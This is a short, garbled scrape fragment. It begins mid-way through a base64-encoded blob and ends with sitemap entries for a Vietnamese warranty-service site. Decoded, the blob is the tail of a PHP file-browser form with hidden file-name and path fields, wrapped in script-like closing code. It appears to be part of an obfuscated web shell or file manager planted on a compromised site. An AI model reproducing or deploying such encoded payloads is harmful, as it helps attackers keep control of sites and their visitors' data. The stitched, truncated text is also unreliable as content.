lPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } }); https://samsung-warranty.vn/post-sitemap.xml 2026-09-02T17:27:31+00:00 https://samsung-warranty.vn/page-sitemap.xml 2025-08-01T04:55:51+00:00